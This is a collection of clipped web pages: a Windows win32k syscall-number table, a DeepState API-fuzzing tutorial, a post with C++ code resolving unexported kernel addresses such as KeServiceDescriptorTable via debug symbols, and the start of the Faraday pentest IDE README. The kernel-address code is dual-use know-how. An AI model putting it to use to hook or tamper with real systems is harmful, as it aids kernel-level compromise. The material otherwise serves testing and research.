NtUserSfmGetLogicalSurfaceBinding |  |  |  |  0x1323  |  0x1323   
NtUserShowCaret |  0x1024  |  0x1024  |  0x1025  |  0x1025  |  0x1025   
NtUserShowScrollBar |  0x103c  |  0x103c  |  0x103d  |  0x103d  |  0x103d   
NtUserShowSystemCursor |  |  |  0x12ee  |  0x1324  |  0x1324   
NtUserShowWindow |  0x1057  |  0x1057  |  0x1058  |  0x1058  |  0x1058   
NtUserShowWindowAsync |  0x1122  |  0x1122  |  0x1123  |  0x111b  |  0x111b   
NtUserSoundSentry |  0x1287  |  0x1287  |  0x12ef  |  0x1325  |  0x1325   
NtUserSwitchDesktop |  0x1288  |  0x1288  |  0x12f0  |  0x1326  |  0x1326   
NtUserSystemParametersInfo |  0x1041  |  0x1041  |  0x1042  |  0x1042  |  0x1042   
NtUserTestForInteractiveUser |  0x1289  |  0x1289  |  0x12f1  |  0x1327  |  0x1327   
NtUserThunkedMenuInfo |  0x110e  |  0x110e  |  0x110f  |  0x1108  |  0x1108   
NtUserThunkedMenuItemInfo |  0x1099  |  0x1099  |  0x109a  |  0x1098  |  0x1098   
NtUserToUnicodeEx |  0x107a  |  0x107a  |  0x107b  |  0x1079  |  0x1079   
NtUserTrackMouseEvent |  0x10df  |  0x10df  |  0x10e0  |  0x10db  |  0x10db   
NtUserTrackPopupMenuEx |  0x128a  |  0x128a  |  0x12f2  |  0x1328  |  0x1328   
NtUserTranslateAccelerator |  0x1010  |  0x1010  |  0x1011  |  0x1011  |  0x1011   
NtUserTranslateMessage |  0x100d  |  0x100d  |  0x100d  |  0x100d  |  0x100d   
NtUserUnhookWinEvent |  0x110a  |  0x110a  |  0x110b  |  0x1105  |  0x1105   
NtUserUnhookWindowsHookEx |  0x1070  |  0x1070  |  0x1071  |  0x1070  |  0x1070   
NtUserUnloadKeyboardLayout |  0x128b  |  0x128b  |  0x12f3  |  0x1329  |  0x1329   
NtUserUnlockWindowStation |  0x128c  |  0x128c  |  0x12f4  |  0x132a  |  0x132a   
NtUserUnregisterClass |  0x10bf  |  0x10bf  |  0x10c0  |  0x10bb  |  0x10bb   
NtUserUnregisterHotKey |  0x128d  |  0x128d  |  0x12f5  |  0x132b  |  0x132b   
NtUserUnregisterSessionPort |  |  |  0x12f6  |  0x132c  |  0x132c   
NtUserUnregisterUserApiHook |  0x128e  |  0x128e  |  0x12f7  |  0x132d  |  0x132d   
NtUserUpdateInputContext |  0x128f  |  0x128f  |  0x12f8  |  0x132e  |  0x132e   
NtUserUpdateInstance |  0x1290  |  0x1290  |  0x12f9  |  0x132f  |  0x132f   
NtUserUpdateLayeredWindow |  0x1291  |  0x1291  |  0x12fa  |  0x1330  |  0x1330   
NtUserUpdatePerUserSystemParameters |  0x1292  |  0x1292  |  0x12fb  |  0x1331  |  0x1331   
NtUserUpdateWindowTransform |  |  |  0x12fc  |  0x1332  |  0x1332   
NtUserUserHandleGrantAccess |  0x1293  |  0x1293  |  0x12fd  |  0x1333  |  0x1333   
NtUserValidateHandleSecure |  0x1294  |  0x1294  |  0x12fe  |  0x1334  |  0x1334   
NtUserValidateRect |  0x10d1  |  0x10d1  |  0x10d2  |  0x10cd  |  0x10cd   
NtUserValidateTimerCallback |  0x1015  |  0x1015  |  0x1016  |  0x1016  |  0x1016   
NtUserVkKeyScanEx |  0x1027  |  0x1027  |  0x1028  |  0x1028  |  0x1028   
NtUserWaitForInputIdle |  0x1295  |  0x1295  |  0x12ff  |  0x1335  |  0x1335   
NtUserWaitForMsgAndEvent |  0x1296  |  0x1296  |  0x1300  |  0x1336  |  0x1336   
NtUserWaitMessage |  0x100c  |  0x100c  |  0x100c  |  0x100c  |  0x100c   
NtUserWindowFromPhysicalPoint |  |  |  0x1302  |  0x1337  |  0x1337   
NtUserWindowFromPoint |  0x1013  |  0x1013  |  0x1014  |  0x1014  |  0x1014   
NtUserYieldTask |  0x129a  |  0x129a  |  0x1303  |  0x1338  |  0x1338   
UMPDDrvQuerySpoolType |  0x1299  |  0x1299  |  |  | 

# Fuzzing an API with DeepState \(Part 1\)

**Created:**| _3/2/2019 6:37:49 PM_  
---|---  
**Updated:**| _3/2/2019 6:37:49 PM_  
**Author:**| _wishi_  
**Tags:**| _api fuzzing_  
  

  

# Fuzzing an API with DeepState \(Part 1\)

  * Post
  * January 22, 2019
  * 1 Comment

_Alex Groce, Associate Professor, School of Informatics, Computing and Cyber
Systems, Northern Arizona University_

Using DeepState, we took a handwritten red-black tree fuzzer and, with minimal
effort, turned it into a much more fully featured test generator. The
DeepState fuzzer, despite requiring no more coding effort, supports replay of
regression tests, reduction of the size of test cases for debugging, and
multiple data-generation back-ends, including Manticore, angr, libFuzzer, and
AFL. Using symbolic execution, we even discovered artificially introduced bugs
that the original fuzzer missed. After reading this article, you should be
ready to start applying high-powered automated test generation to your own
APIs.

# Background

In 2013, John Regehr wrote a blog post on “How to Fuzz an ADT Implementation.”
John wrote at some length about general issues in gaining confidence that a
data-type implementation is reliable, discussing code coverage, test oracles,
and differential testing. If you have not yet read John’s article, then I
recommend reading it now. It gives a good overview of how to construct a
simple custom fuzzer for an ADT, or, for that matter, any fairly self-
contained API where there are good ways to check for correctness.

The general problem is simple. Suppose we have a piece of software that
provides a set of functions or methods on objects. Our running example in this
post is a red-black tree; however, an AVL tree, a file-system, an in-memory
store, or even a crypto library could easily be swapped in. We have some
expectations about what will happen when we call the available functions. Our
goal is to thoroughly test the software, and the traditional unit-testing
approach to the problem is to write a series of small functions that look
like:

123| `result1 = foo(3, ``"hello"``);``result2 = bar(result1,
``"goodbye"``)``assert``(result2 == DONE);`  
---|---  
That is, each test has the form: “do something, then check that it did the
right thing.” This approach has two problems. First, it’s a lot of work.
Second, the return on investment for that work is not as good as you would
hope; each test does one specific thing, and if the author of the tests
doesn’t happen to think of a potential problem, then the tests are very
unlikely to catch that problem. These unit tests are insufficient for the same
reasons that AFL and other fuzzers have been so successful at finding security
vulnerabilities in widely used programs: humans are too slow at writing many
tests, and are limited in their ability to imagine insane, harmful inputs. The
randomness of fuzzing makes it possible to produce many tests very quickly and
results in tests that go far outside the “expected uses.”

Fuzzing is often thought of as generating files or packets, but it can also
generate sequences of API calls to test software libraries. Such fuzzing is
often referred to as random or randomized testing, but _fuzzing is fuzzing_.
Instead of a series of unit tests doing one specific thing, a fuzzer test
\(also known as a property-based test or a parameterized unit test\) looks
more like:

1234567891011121314| `foo_result = NULL;``bar_result = NULL;``repeat LENGTH
times:`` ``switch` `(choice):`` ``choose_foo:`` ``foo_result =
foo(randomInt(), randomString());`` ``break``;`` ``choose_bar:`` ``bar_result
= bar(foo_result, randomString());`` ``break``;`` ``choose_baz:`` ``baz_result
= baz(foo_result, bar_result);`` ``break``;`` ``checkInvariants();`  
---|---  
That is, the fuzzer repeatedly chooses a random function to call, and then
calls the chosen function, perhaps storing the results for use in later
function calls.

A well-constructed test of this form will include lots of generalized
assertions about how the system should behave, so that the fuzzer is more
likely to shake out unusual interactions between the function calls. The most
obvious such checks are any assertions in the code, but there are numerous
other possibilities. For a data structure, this will come in the form of a
`repOK` function that makes sure that the ADT’s internal representation is in
a consistent state. For red-black trees, that involves checking node coloring
and balance. For a file system, you may expect that `chkdsk` will never find
any errors after a series of valid file system operations. In a crypto library
\(or a JSON parser, for that matter, with some restrictions on the content of
message\) you may want to check round-trip properties: `message ==
decode(encode(message, key), key)`. In many cases, such as with ADTs and file
systems, you can use another implementation of the same or similar
functionality, and compare results. Such _differential_ testing is extremely
powerful, because it lets you write a very complete specification of
correctness with relatively little work.

John’s post doesn’t just give general advice, it also includes links to a
working fuzzer for a red-black tree. The fuzzer is effective and serves as a
great example of how to really hammer an API using a solid test harness based
on random value generation. However, it’s also not a completely practical
testing tool. It generates inputs, and tests the red-black tree, but when the
fuzzer finds a bug, it simply prints an error message and crashes. You don’t
learn anything except “Your code has a bug. Here is the symptom.” Modifying
the code to print out the test steps as they happen slightly improves the
situation, but there are likely to be hundreds or thousands of steps before
the failure.

Ideally, the fuzzer would automatically store failing test sequences in a
file, minimize the sequences to make debugging easy, and make it possible to
replay old failing tests in a regression suite. Writing the code to support
all this infrastructure is no fun \(especially in C/C++\) and dramatically
increases the amount of work required for your testing effort. Handling the
more subtle aspects, such as trapping assertion violations and hard crashes so
that you write the test to the file system before terminating, is also hard to
get right.

AFL and other general-purpose fuzzers usually provide this kind of
functionality, which makes fuzzing a much more practical tool in debugging.
Unfortunately, such fuzzers are not convenient for testing APIs. They
typically generate a file or byte buffer, and expect that the program being
tested will take that file as input. Turning a series of bytes into a red-
black tree test is probably easier and more fun than writing all the machinery
for saving, replaying, and reducing tests, but it still seems like a lot of
work that isn’t directly relevant to your real task: figuring out how to
describe valid sequences of API calls, and how to check for correct behavior.
What you really want is a unit testing framework like GoogleTest, but one that
is capable of varying the input values used in tests. There are lots of good
tools for random testing, including my own TSTL, but few sophisticated ones
target C/C++, and none that we are aware of let you use any test generation
method other than the tools’ built-in random tester. That’s what we want:
GoogleTest, but with the ability to use libFuzzer, AFL, HonggFuzz, or what you
will to generate data.

# Enter DeepState

DeepState fills that need, and more. \(We’ll get to the ‘more’ when we discuss
symbolic execution\).

Translating John’s fuzzer into a DeepState test harness is relatively easy.
Here is a DeepState version of “the same fuzzer.” The primary changes for
DeepState, which can be found in the file deepstate\_harness.cpp, are:

  * Remove `main` and replace it with a named test `(TEST(RBTree, GeneralFuzzer))`
    * A DeepState file can contain more than one named test, though it is fine to only have one test.
  * Just create one tree in each test, rather than having an outer loop that iterates over calls that affect a single tree at a time. 
    * Instead of a fuzzing loop, our tests are closer to very generalized unit tests: each test does one sequence of interesting API calls.
    * DeepState will handle running multiple tests; the fuzzer or symbolic execution engine will provide the “outer loop.”
  * Fix the length of each API call sequence to a fixed value, rather than a random one. 
    * The `#define LENGTH 100` at the top of the file controls how many functions we call in each test.
    * Having bytes be in somewhat the same positions in every test is helpful for mutation-based fuzzers. Extremely long tests will go beyond libFuzzer’s default byte length.
    * So long as they don’t consume so many bytes that fuzzers or DeepState reach their limits, or have trouble finding the right bytes to mutate, longer tests are usually better than shorter tests. There may be a length five sequence that exposes your bug, but DeepState’s brute-force fuzzer and even libFuzzer and AFL will likely have trouble finding it, and more easily produce a length 45 version of the same problem. Symbolic execution, on the other hand, will find such rare sequences for any length it can handle.
    * For simplicity, we use a `#define` in our harness, but it is possible to define such testing parameters as optional command-line arguments with a default value, for even greater flexibility in testing. Just use the same tools as DeepState uses to define its own command-line options \(see DeepState.c and DeepState.h\).
  * Replace various `rand() % NNN` calls with `DeepState_Int()`, `DeepState_Char()` and `DeepState_IntInRange(...)` calls. 
    * DeepState provides calls to generate most of the basic data types you want, optionally over restricted ranges.
    * You can actually just use `rand()` instead of making DeepState calls. If you include DeepState and have defined `DEEPSTATE_TAKEOVER_RAND`, all `rand` calls will be translated to appropriate DeepState functions. The file easy\_deepstate\_fuzzer.cpp shows how this works, and is the simplest translation of John’s fuzzer. It isn’t ideal, since it doesn’t provide any logging to show what happens during tests. This is often the easiest way to convert an existing fuzzer to use DeepState; the changes from John’s fuzzer are minimal: 90% of the work is just changing a few includes and removing `main`.
  * Replace the `switch` statement choosing the API call to make with DeepState’s `OneOf` construct. 
    * `OneOf` takes a list of C++ lambdas, and chooses one to execute.
    * This change is not strictly required, but using `OneOf` simplifies the code and allows optimization of choices and smart test reduction.
    * Another version of `OneOf` takes a fixed-size array as input, and returns some value in it; e.g., `OneOf("abcd")` will produce a character, either `a`, `b`, `c`, or `d`.

There are a number of other cosmetic \(e.g. formatting, variable naming\)
changes, but the essence of the fuzzer is clearly preserved here. With these
changes, the fuzzer works almost as before, except that instead of running the
`fuzz_rb` executable, we’ll use DeepState to run the test we’ve defined and
generate input values that choose which function calls to make, what values to
insert in the red-black tree, and all the other decisions represented by
`DeepState_Int`, `OneOf`, and other calls:

12345678910111213141516171819202122232425262728293031323334| `int` `GetValue()
{`` ``if` `(!restrictValues) {`` ``return` `DeepState_Int();`` ``} ``else`
`{`` ``return` `DeepState_IntInRange(0, valueRange);`` ``}``}``...`` ``for`
`(``int` `n = 0; n < LENGTH; n++) {`` ``OneOf(`` ``[&] {`` ``int` `key =
GetValue();`` ``int``* ip = (``int``*)``malloc``(``sizeof``(``int``));`` ``*ip
= key;`` ``if` `(!noDuplicates || !containerFind(*ip)) {`` ``void``* vp =
voidP();`` ``LOG(TRACE) << n << ``": INSERT:"` `<< *ip << ``" "` `<< vp;``
``RBTreeInsert(tree, ip, vp);`` ``containerInsert(*ip, vp);`` ``} ``else` `{``
``LOG(TRACE) << n << ``": AVOIDING DUPLICATE INSERT:"` `<< *ip;``
``free``(ip);`` ``}`` ``},`` ``[&] {`` ``int` `key = GetValue();``
``LOG(TRACE) << n << ``": FIND:"` `<< key;`` ``if` `((node =
RBExactQuery(tree, &key))) {`` ``ASSERT(containerFind(key)) << ``"Expected to
find "` `<< key;`` ``} ``else` `{`` ``ASSERT(!containerFind(key)) <<
``"Expected not to find "` `<< key;`` ``}`` ``},``...`  
---|---  
# Installing DeepState

The DeepState GitHub repository provides more details and dependencies, but on
my MacBook Pro, installation is simple:

123456| `git clone https:``//github``.com``/trailofbits/deepstate``cd`
`deepstate``mkdir` `build``cd` `build``cmake ..``sudo` `make` `install`  
---|---  
Building a version with libFuzzer enabled is slightly more involved:

1234567| `brew ``install` `llvm@7``git clone
https:``//github``.com``/trailofbits/deepstate``cd` `deepstate``mkdir`
`build``cd` `build``CC=``/usr/local/opt/llvm``\@7``/bin/clang`
`CXX=``/usr/local/opt/llvm``\@7``/bin/clang``++ BUILD_LIBFUZZER=TRUE cmake
..``sudo` `make` `install`  
---|---  
AFL can also be used to generate inputs for DeepState, but most of the time,
raw speed \(due to not needing to fork\), decomposition of compares, and value
profiles seem to give libFuzzer an edge for this kind of API testing, in our
\(limited experimentally\!\) experience. For more on using AFL and other file-
based fuzzers with DeepState, see the DeepState README.

# Using the DeepState Red-Black Tree Fuzzer

Once you have installed DeepState, building the red-black tree fuzzer\(s\) is
also simple:

123| `git clone https:``//github``.com``/agroce/rb_tree_demo``cd`
`rb_tree_demo``make`  
---|---  
The `make` command compiles everything with all the sanitizers we could think
of \(address, undefined, and integer\) in order to catch more bugs in fuzzing.
This has a performance penalty, but is usually worth it.

If you are on macOS and using a non-Apple clang in order to get libFuzzer
support, you’ll want to do something like

1| `CC=``/usr/local/opt/llvm``\@7``/bin/clang`
`CXX=``/usr/local/opt/llvm``\@7``/bin/clang``++ ``make`  
---|---  
in order to use the right \(e.g., homebrew-installed\) version of the
compiler.

This will give you a few different executables of interest. One, `fuzz_rb`, is
simply John’s fuzzer, modified to use a 60-second timeout instead of a fixed
number of “meta-iterations.” The `ds_rb` executable is the DeepState
executable. You can fuzz the red-black tree using a simple brute-force fuzzer
\(that behaves very much like John’s original fuzzer\):

12| `mkdir` `tests``.``/ds_rb` `--fuzz --timeout 60 --output_test_dir tests`  
---|---  
If you want to see more about what the fuzzer is doing, you can specify a log
level using `--log_level` to indicate the minimum importance of messages you
want to see. A `log_level` of `0` corresponds to including all messages, even
debug messages; `1` is `TRACE` messages from the system under test \(e.g.,
those produced by the `LOG(TRACE)` code shown above\); `2` is `INFO`, non-
critical messages from DeepState itself \(this is the default, and usually
appropriate\); `3` is warnings, and so forth up the hierarchy. The `tests`
directory should be empty at the termination of fuzzing, since the red-black
tree code in the repo \(to my knowledge\) has no bugs. If you add
`--fuzz_save_passing` to the options, you will end up with a large number of
files for passing tests in the directory.

Finally, we can use libFuzzer to generate tests:

12| `mkdir` `corpus``.``/ds_rb_lf` `corpus -use_value_profile=1
-detect_leaks=0 -max_total_time=60`  
---|---  
The `ds_rb_lf` executable is a normal libFuzzer executable, with the same
command line options. This will run libFuzzer for 60 seconds, and place any
interesting inputs \(including test failures\) in the `corpus` directory. If
there is a crash, it will leave a `crash-` file in the current directory. You
can tune it to perform a little better in some cases by determining the
maximum input size your tests use, but this is a non-trivial exercise. In our
case at length 100 the gap between our max size and 4096 bytes is not
extremely large.

For more complex code, a coverage-driven, instrumentation-based fuzzer like
libFuzzer or AFL will be much more effective than the brute force randomness
of John’s fuzzer or the simple DeepState fuzzer. For an example like the red-
black-tree, this may not matter as much, since few states may be very hard to
reach for a fast “dumb” fuzzer. Even here, however, smarter fuzzers have the
advantage of producing a corpus of tests that produce interesting code
coverage. DeepState lets you use a faster fuzzer for quick runs, and smarter
tools for more in-depth testing, with almost no effort.

We can replay any DeepState-generated tests \(from libFuzzer or DeepState’s
fuzzer\) easily:

1| `.``/ds_rb` `--input_test_file ``file`  
---|---  
Or replay an entire directory of tests:

1| `.``/ds_rb` `--input_test_files_dir ``dir`  
---|---  
Adding an `--exit_on_fail` flag when replaying an entire directory lets you
stop the testing as soon as you hit a failing or crashing test. This approach
can easily be used to add failures found with DeepState \(or interesting
passing tests, or perhaps corpus tests from libFuzzer\) to automatic
regression tests for a project, including in CI.

# Adding a Bug

This is all fine, but it doesn’t \(or at least shouldn’t\) give us much
confidence in John’s fuzzer or in DeepState. Even if we changed the `Makefile`
to let us see code coverage, it would be easy to write a fuzzer that doesn’t
actually check for correct behavior – it covers everything, but doesn’t find
any bugs other than crashes. To see the fuzzers in action \(and see more of
what DeepState gives us\), we can add a moderately subtle bug. Go to line 267
of `red_black_tree.c` and change the `1` to a `0`. The `diff` of the new file
and the original should look like:

1234| `267c267``< x->parent->parent->red=0;``---``> x->parent->parent->red=1;`  
---|---  
Do a `make` to rebuild all the fuzzers with the new, broken
`red_black_tree.c`.

Running John’s fuzzer will fail almost immediately:

1234567| `time` `.``/fuzz_rb``Assertion failed: (left_black_cnt ==
right_black_cnt), ``function` `checkRepHelper, ``file` `red_black_tree.c, line
702.``Abort ``trap``: 6` `real 0m0.100s``user 0m0.008s``sys 0m0.070s`  
---|---  
Using the DeepState fuzzer will produce results almost as quickly. \(We’ll let
it show us the testing using the `--log_level` option, and tell it to stop as
soon as it finds a failing test.\):

1234567891011121314151617181920212223242526272829303132333435363738394041424344|
`time` `.``/ds_rb` `--fuzz --log_level 1 --exit_on_fail --output_test_dir
tests``INFO: Starting fuzzing``WARNING: No seed provided; using
1546625762``WARNING: No ``test` `specified, defaulting to last ``test`
`defined (RBTree_GeneralFuzzer)``TRACE: Running: RBTree_GeneralFuzzer from
deepstate_harness.cpp(78)``TRACE: deepstate_harness.cpp(122): 0:
DELETE:-747598508``TRACE: deepstate_harness.cpp(190): checkRep...``TRACE:
deepstate_harness.cpp(192): RBTreeVerify...``TRACE:
deepstate_harness.cpp(122): 1: DELETE:831257296``TRACE:
deepstate_harness.cpp(190): checkRep...``TRACE: deepstate_harness.cpp(192):
RBTreeVerify...``TRACE: deepstate_harness.cpp(134): 2: PRED:1291220586``TRACE:
deepstate_harness.cpp(190): checkRep...``TRACE: deepstate_harness.cpp(192):
RBTreeVerify...``TRACE: deepstate_harness.cpp(190): checkRep...``TRACE:
deepstate_harness.cpp(192): RBTreeVerify...``TRACE:
deepstate_harness.cpp(154): 4: SUCC:-1845067087``TRACE:
deepstate_harness.cpp(190): checkRep...``TRACE: deepstate_harness.cpp(192):
RBTreeVerify...``TRACE: deepstate_harness.cpp(190): checkRep...``TRACE:
deepstate_harness.cpp(192): RBTreeVerify...``TRACE:
deepstate_harness.cpp(113): 6: FIND:-427918646``TRACE:
deepstate_harness.cpp(190): checkRep...``...``TRACE:
deepstate_harness.cpp(192): RBTreeVerify...``TRACE:
deepstate_harness.cpp(103): 44: INSERT:-1835066397 0x00000000ffffff9c``TRACE:
deepstate_harness.cpp(190): checkRep...``TRACE: deepstate_harness.cpp(192):
RBTreeVerify...``TRACE: deepstate_harness.cpp(190): checkRep...``TRACE:
deepstate_harness.cpp(192): RBTreeVerify...``TRACE:
deepstate_harness.cpp(154): 46: SUCC:-244966140``TRACE:
deepstate_harness.cpp(190): checkRep...``TRACE: deepstate_harness.cpp(192):
RBTreeVerify...``TRACE: deepstate_harness.cpp(190): checkRep...``TRACE:
deepstate_harness.cpp(192): RBTreeVerify...``TRACE:
deepstate_harness.cpp(103): 48: INSERT:1679127713 0x00000000ffffffa4``TRACE:
deepstate_harness.cpp(190): checkRep...``Assertion failed: (left_black_cnt ==
right_black_cnt), ``function` `checkRepHelper, ``file` `red_black_tree.c, line
702.``ERROR: Crashed: RBTree_GeneralFuzzer``INFO: Saved ``test` `case` `to
``file` ``tests``/6de8b2ffd42af6878875833c0cbfa9ea09617285``.crash```...``real
0m0.148s``user 0m0.011s``sys 0m0.131s`  
---|---  
I’ve omitted much of the output above, since showing all 49 steps before the
detection of the problem is a bit much, and the details of your output will
certainly vary. The big difference from John’s fuzzer, besides the verbose
output, is the fact that DeepState _saved a test case_. The name of your saved
test case will, of course, be different, since the names are uniquely
generated for each saved test. To replay the test, I would do this:

1| `.``/ds_rb` `--input_test_file
tests``/6de8b2ffd42af6878875833c0cbfa9ea09617285``.crash`  
---|---  
and I would get to see the whole disaster again, in gory detail. As we said
above, this lengthy sequence of seemingly arbitrary operations isn’t the most
helpful test for seeing what’s going on. DeepState can help us here:

123456789101112131415| `deepstate-reduce .``/ds_rb`
`tests``/6de8b2ffd42af6878875833c0cbfa9ea09617285``.crash
minimized.crash``ORIGINAL TEST HAS 8192 BYTES``LAST BYTE READ IS
509``SHRINKING TO IGNORE UNREAD BYTES``ONEOF REMOVAL REDUCED TEST TO 502
BYTES``ONEOF REMOVAL REDUCED TEST TO 494 BYTES``...``ONEOF REMOVAL REDUCED
TEST TO 18 BYTES``ONEOF REMOVAL REDUCED TEST TO 2 BYTES``BYTE RANGE REMOVAL
REDUCED TEST TO 1 BYTES``BYTE REDUCTION: BYTE 0 FROM 168 TO 0``NO (MORE)
REDUCTIONS FOUND``PADDING TEST WITH 49 ZEROS` `WRITING REDUCED TEST WITH 50
BYTES TO minimized.crash`  
---|---  
Again, we omit some of the lengthy process of reducing the test. The new test
is \(much\!\) easier to understand:

1234567891011121314| `.``/ds_rb` `--input_test_file minimized.crash``WARNING:
No ``test` `specified, defaulting to last ``test` `defined
(RBTree_GeneralFuzzer)``TRACE: Initialized ``test` `input buffer with data
from `minimized.crash```TRACE: Running: RBTree_GeneralFuzzer from
deepstate_harness.cpp(78)``TRACE: deepstate_harness.cpp(103): 0: INSERT:0
0x0000000000000000``TRACE: deepstate_harness.cpp(190): checkRep...``TRACE:
deepstate_harness.cpp(192): RBTreeVerify...``TRACE:
deepstate_harness.cpp(103): 1: INSERT:0 0x0000000000000000``TRACE:
deepstate_harness.cpp(190): checkRep...``TRACE: deepstate_harness.cpp(192):
RBTreeVerify...``TRACE: deepstate_harness.cpp(103): 2: INSERT:0
0x0000000000000000``TRACE: deepstate_harness.cpp(190): checkRep...``Assertion
failed: (left_black_cnt == right_black_cnt), ``function` `checkRepHelper,
``file` `red_black_tree.c, line 702.``ERROR: Crashed: RBTree_GeneralFuzzer`  
---|---  
We just need to insert three identical values into the tree to expose the
problem. Remember to fix your `red_black_tree.c` before proceeding\!

You can watch the whole process in action:

<img src='img/220517.svg' width='690' height='233' />

In Part 2, we’ll look at how to assess the quality of our testing: is our
DeepState testing as effective as John’s fuzzer? Are both approaches unable to
find certain subtle bugs? And what about symbolic execution?

### Share this:

  * Twitter
  * LinkedIn
  * Reddit
  * Telegram
  * Facebook52
  * Email
  * Print
  * 

Like

  * <img src='img/495cf125ec155ecf1c68f5d2b1767988.jpg' width='30' height='30' alt='saullocarvalho' />

One blogger likes this.

### _Related_

Fuzzing an API with DeepState \(Part 2\)In "Dynamic Analysis"

A fuzzer and a symbolic executor walk into a cloudIn "Cyber Grand Challenge"

Use our suite of Ethereum security toolsIn "Binary Ninja"

By Alex Groce

Posted in Dynamic Analysis, Fuzzing, Manticore, Symbolic Execution

  

# Unexported Windows kernel functions/structures finding method

**Created:**| _3/7/2018 8:28:18 AM_  
---|---  
**Updated:**| _3/7/2018 8:28:18 AM_  
**Author:**| _wishi_  
**Tags:**| _kernel windows-environment_  
  

  

cd ../../Random Posts

# Unexported Windows kernel functions/structures finding method

2 minutes read

Many functions and structures are not exported by `nt`, such as
`PsGetNextProcess` function, `KeServiceDescriptorTable` and many others.

How can we get virtual addresses of desired functions and/or structures?

There are methods which use pattern matching to find specific functions and/or
structures inside that function, but this way of finding is unreliable \(due
to changes from `MS` can break our pattern matching algorithm\).

What about using `Debug Help Library` from Microsoft? We can access the
symbolic debugging information of an image, such as
`%systemroot%/system32/ntoskrnl.exe`, extract `RVA` for desired
function/structure and add to address of `nt`.

I’m using `EnumDeviceDrivers` from `Psapi` to get an address of
`ntoskrnl.exe`, and `SymFromName` to get symbolic information of a
function/structure.

I’m assuming that target system does not contain any debugging related
executables, such as `symchk.exe`, `SymSrv.dll`, etc.

To get `.pdb` file, which contains debugging inforamtion for `ntoskrnl.exe` we
need to download it manually using `symchk.exe`:

<img src='img/36641180-37f6f74e-1a23-11e8-96a5-ef99e400f104.PNG.png'
width='673' height='170' alt='1' />

<img src='img/36643635-560bd4fc-1a46-11e8-94c5-c3a75ca6b57e.PNG.png'
width='673' height='74' alt='CreateProcess' />

We can find `symchk.exe` under `C:\Program Files (x86)\Windows
Kits\10\Debuggers\x64` on Windows 10, `symchk.exe` uses `SymbolCheck.dll`,
`SymSrv.dll` and `DbgHelp.dll`.

<img src='img/36641177-3792d412-1a23-11e8-93e1-bef1b983bf19.PNG.png'
width='673' height='251' alt='4' />

It’s a good idea to embed all necessary files into main executable and extract
them at run-time, we need following additional executables: `DbgHelp.dll`,
`SymbolCheck.dll`, `symchk.exe` and `SymSrv.dll`

<img src='img/36641594-f54501f0-1a29-11e8-85f1-2329807243bb.PNG.png'
width='673' height='194' alt='5' />

Example source code:

1 | // Get ntoskrn.exe address at run-time  
---|---  
2 | VOID\* krnlAddr; // First element of the array is base address of ntoskrnl.exe/nt  
3 | DWORD retLen;  
4 | if \(\!EnumDeviceDrivers\(&krnlAddr, sizeof\(krnlAddr\), &retLen\)\)  
5 |  return GetLastError\(\);  
6 |   
7 | HANDLE procHandle = GetCurrentProcess\(\);  
8 | if \(\!SymInitialize\(procHandle, nullptr, FALSE\)\) \{  
9 |  auto er = GetLastError\(\);  
10 |  printf\_s\("SymInitialize error: %d\n", er\);  
11 |  return er;  
12 | \}  
13 |   
14 | ULONG64 buffer\[\(sizeof\(SYMBOL\_INFO\) +  
15 |  MAX\_SYM\_NAME \* sizeof\(TCHAR\) +  
16 |  sizeof\(ULONG64\) - 1\) /  
17 |  sizeof\(ULONG64\)\];  
18 | PSYMBOL\_INFO pSymbol = \(PSYMBOL\_INFO\)buffer;  
19 | STARTUPINFO sa\{ sizeof\(STARTUPINFO\)\};  
20 | PROCESS\_INFORMATION pi\{\};  
21 |   
22 | TCHAR execSrv\[\] = L"./symchk.exe /v c:\\\Windows\\\System32\\\ntoskrnl.exe /oc .";  
23 | if \(\!CreateProcess\(nullptr, execSrv, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &sa, &pi\)\) \{  
24 |  return GetLastError\(\);  
25 | \}  
26 |   
27 | WaitForSingleObject\(pi.hProcess, INFINITE\);  
28 |   
29 | pSymbol->SizeOfStruct = sizeof\(SYMBOL\_INFO\);  
30 | pSymbol->MaxNameLen = MAX\_SYM\_NAME;  
31 | CHAR symName\[MAX\_SYM\_NAME\] = "KeServiceDescriptorTable"; // change it  
32 |   
33 | auto baseAddr = SymLoadModuleEx\(procHandle, nullptr, "%systemroot%\\\system32\\\ntoskrnl.exe", nullptr, 0, 0, nullptr, 0\);  
34 | if \(\!SymFromName\(procHandle, symName, pSymbol\)\) \{  
35 |  auto er = GetLastError\(\);  
36 |  if \(er == ERROR\_MOD\_NOT\_FOUND\)  
37 |  puts\("The specified module could not be found\n"\);  
38 |  printf\_s\("SymFromName error: %d\n", er\);  
39 |  return er;  
40 | \}  
41 | auto symAddr = \(pSymbol->Address - baseAddr\) + \(DWORD64\)krnlAddr;  
42 |   
43 | printf\_s\("Virtual address of %s: 0x%llx\n", symName, symAddr\);  
44 |   
45 | SymCleanup\(procHandle\);  
view raw getAddr.cpp hosted with ❤ by GitHub

<img src='img/36641179-37d32cc4-1a23-11e8-88c0-9c699507cd1c.PNG.png'
width='673' height='332' alt='6' />

Advantages of this method:

  * Under right circumstances, we get accurate information.
  * Cross-platform ?

Disadvantages of this method:

  * We need user-mode process
  * We need Internet connection
  * Size of user-mode application is quite large due to it contains several executables.

Thank you for your time…

Twitter: @\_qaz\_qaz

  

# infobyte/faraday

**Created:**| _5/11/2015 3:58:28 PM_  
---|---  
**Updated:**| _5/11/2015 3:58:28 PM_  
**Author:**| __  
**Tags:**| _pentest ide_  
  

# infobyte/faraday

<img src='img/Temp2_10399.png' alt='Faraday Logo' />

Faraday introduces a new concept \(IPE\) Integrated Penetration-Test
Environment a multiuser Penetration test IDE. Designed for distribution,
indexation and analysis of the generated data during the process of a security
audit.

The main purpose of Faraday is to re-use the available tools in the community
to take advantage of them in a multiuser way.

Designed for simplicity, users should notice no difference between their own
terminal application and the one included in Faraday. Developed with a
specialized set of functionalities that help users improve their own work. Do
you remember yourself programming without an IDE? Well, Faraday does the same
as an IDE does for you when programming, but from the perspective of a
penetration test.

<img src='img/Temp2_10400.png' alt='GUI - Web' />

<img src='img/Temp2_10402.png' alt='GUI - QT' />

Please read the RELEASE notes\!

##  Plugins list:

Right now faraday has more than 40+ supported tools, among them you will find:

<img src='img/Temp2_10398.png' />

##  Installation

The following platform are supported - More information :

<img src='img/Temp2_10401.png' alt='platform' />

Quick install:

Download the latest tarball by clicking here

Preferably, you can download faraday by cloning the Git repository:

[code]

    $ git clone https://github.com/infobyte/faraday.git faraday-dev
    $ cd faraday-dev
    $ ./install.sh
    
[/code]

##  Usage

To get started, simply execute faraday and use the new console to start
working in the pentest:

[code]

       $ ./faraday.py
    
